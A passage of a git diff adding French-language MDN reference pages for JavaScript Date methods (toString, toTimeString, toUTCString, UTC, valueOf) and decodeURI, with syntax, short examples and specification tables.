+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toString()</strong></code> renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tostring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant la date indiquée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet {{jsxref("Date")}} remplace la méthode <code>toString()</code> de l'objet {{jsxref("Object")}} ; il n'hérite pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets {{jsxref("Date")}}, la méthode <code>toString()</code> renvoie une représentation textuelle de l'objet.</p>
+
+<p>La méthode <code>toString()</code> renvoie toujours une chaîne de caractères représentant une date en anglais américain. Ce format a été standardisé avec ES2018 et peut être décrit de la façon suivante :</p>
+
+<ul>
+ <li>Le jour de la semaine avec les trois premières lettres du jour en anglais (ex. « Sat »)</li>
+ <li>Un espace</li>
+ <li>Le mois avec les trois premières lettres du mois en anglais (ex. « Sep »)</li>
+ <li>Un espace</li>
+ <li>La date du jour dans le mois sur deux chiffres (ex. « 01 »)</li>
+ <li>Un espace</li>
+ <li>L'année sur 4 chiffres (ex. « 2018 »)</li>
+ <li>Un espace</li>
+ <li>L'heure sur deux chiffres (ex. « 14 »)</li>
+ <li>Un deux-points (:)</li>
+ <li>Les minutes sur deux chiffres (ex. « 53 »)</li>
+ <li>Un deux-points (:)</li>
+ <li>Les secondes sur deux chiffres (ex. « 26 »)</li>
+ <li>Un espace</li>
+ <li>La chaîne de caractères « GMT »</li>
+ <li>Le signe du décalage horaire par rapport à GMT :
+  <ul>
+   <li>La chaîne "+" pour les décalages positifs (0 ou plus)</li>
+   <li>La chaîne "-" pour les décalages strictement négatifs</li>
+  </ul>
+ </li>
+ <li>L'heure de décalage sur deux chiffres</li>
+ <li>Les minutes de décalage sur deux chiffres</li>
+ <li>Et, éventuellement, le nom du fuseau horaire avec
+  <ul>
+   <li>Un espace</li>
+   <li>Une parenthèse ouvrante (« ( »)</li>
+   <li>Une chaîne de caractères, pouvant varier selon l'implémentation, qui désigne le fuseau horaire. Ce peut être une abréviation ou un nom complet.</li>
+   <li>Une parenthèse fermante (« ) »)</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Avant ES2018, le format de la chaîne de caractères renvoyé pouvait varier selon l'implémentation.</p>
+
+<p>JavaScript appelle la méthode <code>toString()</code> automatiquement quand une date doit être representée sous forme d'un texte ou quand une date est référencée lors d'une concatenation de chaînes de caractères.</p>
+
+<p><code>toString()</code> est une méthode générique. Si <code>this</code> n'est pas une instance de {{jsxref("Date")}}, elle renverra "Invalid Date".</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toString()">Utiliser <code>toString()</code></h3>
+
+<p>L'exemple suivant assigne la valeur de <code>toString()</code> de l'objet <code>Date</code> à <code>maVar</code> :</p>
+
+<pre class="brush:js">var x = new Date();
+var maVar = x.toString(); // assigne une valeur à maVar similaire à :
+// Mon Sep 28 1998 14:36:22 GMT-0700 (PDT)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.2', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2018', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}</td>
+   <td>{{Spec2('ES2018')}}</td>
+   <td>Standardisation du format produit par <code>Date.prototype.toString()</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de ce tableau ont été générées à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/totimestring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/totimestring/index.html
new file mode 100644
index 0000000000..fb27f7003d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/totimestring/index.html
@@ -0,0 +1,88 @@
+---
+title: Date.prototype.toTimeString()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toTimeString
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toTimeString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toTimeString()</strong></code>renvoie la partie « heure » de l'objet <code>Date</code> dans un format lisible par un humain, en anglais américain.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-totimestring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toTimeString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente l'heure de la date indiquée dans un format anglais américain.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Une instance de {{jsxref("Date")}} représente un instant précis dans le temps. Appeler {{jsxref("Date.toString", "toString()")}} renverra la date formatée de façon à être lisible par un humain, en anglais américain. Pour le moteur JavaScript <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a>, ceci consiste en la partie « date » (jour, mois, année) suivie de la partie « heure » (heures, minutes, secondes, et fuseau horaire). Parfois, il est préférable d'obtenir seulement la partie « heure » ; c'est ce que renvoie la méthode <code>toTimeString().</code></p>
+
+<p>La méthode <code>toTimeString()</code> est particulièrement utile parce que les moteurs implémentant <a href="/fr/docs/JavaScript/Language_Resources">ECMA-262</a> peuvent obtenir des résultats différents avec la méthode {{jsxref("Date.prototype.toString()", "toString()")}} (en effet, le format dépend de l'implémentation). Ceci peut empêcher les manipulations de textes simples d'avoir des résultats cohérents au sein des différents moteurs/navigateurs.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_toTimeString()">Utiliser <code>toTimeString()</code></h3>
+
+<pre class="brush:js">var d = new Date(1993, 6, 28, 14, 39, 7);
+
+console.log(d.toString());     // Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)
+console.log(d.toTimeString()); // 14:39:07 GMT-0600 (PDT)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.4', 'Date.prototype.toTimeString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de ce tableau ont été générées à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toTimeString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/toutcstring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/toutcstring/index.html
new file mode 100644
index 0000000000..d22f0d3346
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/toutcstring/index.html
@@ -0,0 +1,92 @@
+---
+title: Date.prototype.toUTCString()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toUTCString
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toUTCString()</strong></code> convertit une date en une chaîne de caractères, selon le fuseau horaire UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-toutcstring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toUTCString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant la date indiquée selon le fuseau horaire UTC.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur renvoyée par <code>toUTCString()</code> est un texte au même format que celui renvoyé {{jsxref("Date.prototype.toString()")}} mais sans décalage de fuseau horaire (en UTC).</p>
+
+<p>Avant ECMAScript 2018, le format de la valeur renvoyée pouvait varier selon les plateformes. La valeur la plus couramment renvoyée était une date formatée selon la RFC 1123, qui est une version mise à jour de la RFC 822.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toUTCString()">Utiliser <code>toUTCString()</code></h3>
+
+<pre class="brush: js">var aujourdhui = new Date();
+var UTCstring = aujourdhui.toUTCString();
+// Mon, 03 Jul 2006 21:44:38 GMT
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3. Le format dépend de l'implémentation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.42', 'Date.prototype.toUTCString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2018', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}</td>
+   <td>{{Spec2('ES2018')}}</td>
+   <td>Première standardisation du format</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de ce tableau ont été générées à partir de données structurées. Si vous souhaitez contribuer à ces donnés, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toUTCString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toISOString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/utc/index.html b/files/fr/web/javascript/reference/objets_globaux/date/utc/index.html
new file mode 100644
index 0000000000..71bbe40f62
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/utc/index.html
@@ -0,0 +1,137 @@
+---
+title: Date.UTC()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/UTC
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Date.UTC()</code></strong> accepte des paramètres similaires à ceux du constructeur {{jsxref("Date")}} et renvoie le nombre de millièmes de seconde depuis le 1<sup>er</sup> janvier 1970, 00:00:00, temps universel. Autrement dit, elle renvoie la date en UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-utc.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Date.UTC(<em>année</em>[,<em>mois</em>[,<em>jour</em>[,<em>heures</em>[,<em>minutes</em>[,<em>secondes</em>[,<em>ms</em>]]]]]])</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>année</code></dt>
+ <dd>Une année sur deux chiffres pour une année après 1900 (ex. 98 pour 1998) ou bien une année sur quatre chiffres (2018).</dd>
+ <dt><code>mois</code>{{optional_inline}}</dt>
+ <dd>
+ <p>Un entier entre 0 (janvier) et 11 (décembre) représentant le mois.</p>
+
+ <p class="note"><strong>Note :</strong> Cet argument est optionnel depuis ECMAScript 2017.</p>
+ </dd>
+ <dt><code>jour</code>{{optional_inline}}</dt>
+ <dd>Un entier entre 1 et 31 représentant le jour du mois. La valeur par défaut vaut 1.</dd>
+ <dt><code>heures</code>{{optional_inline}}</dt>
+ <dd>Paramètre optionnel, un entier entre 0 et 23 représentant les heures. La valeur par défaut vaut 0.</dd>
+ <dt><code>minutes</code>{{optional_inline}}</dt>
+ <dd>Paramètre optionnel, un entier entre 0 et 59 représentant les minutes. La valeur par défaut vaut 0.</dd>
+ <dt><code>secondes</code>{{optional_inline}}</dt>
+ <dd>Paramètre optionnel, un entier entre 0 et 59 représentant les secondes. La valeur par défaut vaut 0.</dd>
+ <dt><code>ms</code>{{optional_inline}}</dt>
+ <dd>Paramètre optionnel, un entier entre 0 et 999 représentant les millièmes de seconde. La valeur par défaut vaut 0.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre représentant le nombre de millisecondes écoulées entre la date indiquée et le premier janvier 1970 à minuit UTC.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>UTC</code> prend des paramètres de date et d'heure séparés par des virgules et renvoie le nombre de millièmes de seconde entre le 1<sup>er</sup> janvier 1970, 00:00:00, temps universel et la date et l'heure spécifiées.</p>
+
+<p>Il faut spécifier l'année entière pour le premier paramètre ; par exemple 1998. Si l'année spécifiée est entre 0 et 99, la méthode la convertira en une année du XX<sup>e</sup> siècle (1900 + année) ; par exemple si vous indiquez 95, l'année 1995 sera utilisée.</p>
+
+<p>La méthode <code>UTC</code> diffère du constructeur {{jsxref("Date")}} pour deux raisons :</p>
+
+<ul>
+ <li><code>Date.UTC</code> utilise le temps universel plutôt que l'heure locale.</li>
+ <li><code>Date.UTC</code> renvoie une valeur temporelle sous la forme d'un nombre plutôt que de créer un objet <code>Date</code>.</li>
+</ul>
+
+<p>Si un paramètre spécifié est en dehors des limites attendues, la méthode <code>UTC</code> met à jour les autres paramètres pour s'adapter à ce nombre. Par exemple, si vous utilisez 15 pour le mois, l'année sera incrémentée d'une unité (année + 1), et la valeur 3 (avril) sera utilisée pour le mois.</p>
+
+<p>Comme <code>UTC</code> est une méthode statique de <code>Date</code>, on l'utilise toujours sous la forme <code>Date.UTC()</code> plutôt que comme une méthode d'un objet <code>Date</code> que vous auriez créé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Date.UTC()">Utiliser <code>Date.UTC()</code></h3>
+
+<p>L'instruction qui suit crée un objet <code>Date</code> en utilisant l'heure UTC plutôt que l'heure locale :</p>
+
+<pre class="brush: js">var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0));
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.utc', 'Date.UTC')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Le paramètre pour le mois est devenu optionnel avec ES2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.utc', 'Date.UTC')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.3', 'Date.UTC')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.UTC")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<h3 id="Utiliser_Date.UTC_avec_moins_de_deux_arguments">Utiliser <code>Date.UTC</code> avec moins de deux arguments</h3>
+
+<p>Lorsqu'on fournit moins de deux arguments à <code>Date.UTC</code>, {{jsxref("NaN")}} sera renvoyé. Ce comportement a été spécifié dans ECMAScript 2017 et les moteurs qui n'obéissaient pas à cette règle on été mis à jour (cf. {{bug(1050755)}}, <a href="https://github.com/tc39/ecma262/pull/642">ecma-262 #642</a>).</p>
+
+<pre class="brush: js">Date.UTC();
+Date.UTC(1);
+
+// Safari: NaN
+// Chrome/Opera/V8: NaN
+
+// Firefox &lt;54: non-NaN
+// Firefox 54+: NaN
+
+// IE: non-NaN
+// Edge: NaN
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.parse()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/date/valueof/index.html
new file mode 100644
index 0000000000..680f34b4a1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/valueof/index.html
@@ -0,0 +1,87 @@
+---
+title: Date.prototype.valueOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/valueOF
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>valueOf()</code></strong> renvoie la valeur primitive d'un objet {{jsxref("Date")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-valueof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>date</var>.valueOf()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970, minuit UTC et la date indiquée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>valueOf()</code> renvoie la valeur primitive d'un objet <code>Date</code> sous forme d'un nombre. Ce nombre correspond au nombre de millisecondes écoulées depuis le 1 janvier 1970 00h00 GMT.</p>
+
+<p>D'un point de vue fonctionnel, cette méthode est équivalente à {{jsxref("Date.prototype.getTime()")}}.</p>
+
+<p>Cette méthode est souvent appelée en interne par le moteur JavaScript et n'est pas utilisée de façon explicite dans des scripts.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_valueOf()">Utiliser <code>valueOf()</code></h3>
+
+<pre class="brush:js">var x = new Date(56, 6, 17);
+var maVar = x.valueOf();      // maVar vaut -424713600000
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.8', 'Date.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de ce tableau ont été générées à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.valueOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Date.prototype.getTime()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/decodeuri/index.html b/files/fr/web/javascript/reference/objets_globaux/decodeuri/index.html
new file mode 100644
index 0000000000..a2ef94c1fe
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/decodeuri/index.html
@@ -0,0 +1,103 @@
+---
+title: decodeURI()
+slug: Web/JavaScript/Reference/Objets_globaux/decodeURI
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La méthode <code><strong>decodeURI()</strong></code> permet de décoder un Uniform Resource Identifier (URI) créé par la méthode {{jsxref("encodeURI","encodeURI()")}} ou une méthode similaire.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-decodeuri.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">decodeURI(<var>encodedURI</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>encodedURI</code></dt>
+ <dd>Un URI complet, encodé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères dont certains caractères ont été décodés à partir de l'URI encodée passée en argument.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode lève une exception {{jsxref("URIError")}} ("<em>malformed URI sequence"</em>) lorsque la chaîne passée en argument contient des séquences de caractères invalides.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode remplace chaque séquence d'échappement présente dans l'URI encodée avec le caractère correspondant. Les séquences d'échappement qui n'auraient pas pu être introduites par {{jsxref("encodeURI", "encodeURI()")}} ne seront pas décodées. Le caractère « <code>#</code> » n'est pas décodé au sein des séquences d'échappement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Décoder_une_URL_cyrillique">Décoder une URL cyrillique</h3>
+
+<pre class="brush: js">decodeURI("https://developer.mozilla.org/ru/docs/JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
+// "https://developer.mozilla.org/ru/docs/JavaScript_шеллы"
+</pre>
+
+<h3 id="Gérer_les_exceptions">Gérer les exceptions</h3>
+
+<pre class="brush: js">try {
+  var a = decodeURI('%E0%A4%A');
+} catch(e) {
+  console.error(e);
+}
+
+// Cela produira "URIError: malformed URI sequence"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.1', 'decodeURI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-decodeuri-encodeduri', 'decodeURI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-decodeuri-encodeduri', 'decodeURI')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.decodeURI")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("decodeURIComponent","decodeURIComponent()")}}</li>
+ <li>{{jsxref("encodeURI","encodeURI()")}}</li>
+ <li>{{jsxref("encodeURIComponent","encodeURIComponent()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/decodeuricomponent/index.html b/files/fr/web/javascript/reference/objets_globaux/decodeuricomponent/index.html
new file mode 100644
index 0000000000..c659ad8573
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/decodeuricomponent/index.html
@@ -0,0 +1,92 @@
+---
+title: decodeURIComponent()
+slug: Web/JavaScript/Reference/Objets_globaux/decodeURIComponent
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La fonction <code><strong>decodeURIComponent()</strong></code> permet de décoder un composant d'un Uniform Resource Identifier (URI) précédemment créé par {{jsxref("encodeURIComponent")}} ou par une méthode similaire.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-decodeuricomponent.html")}}</div>
+
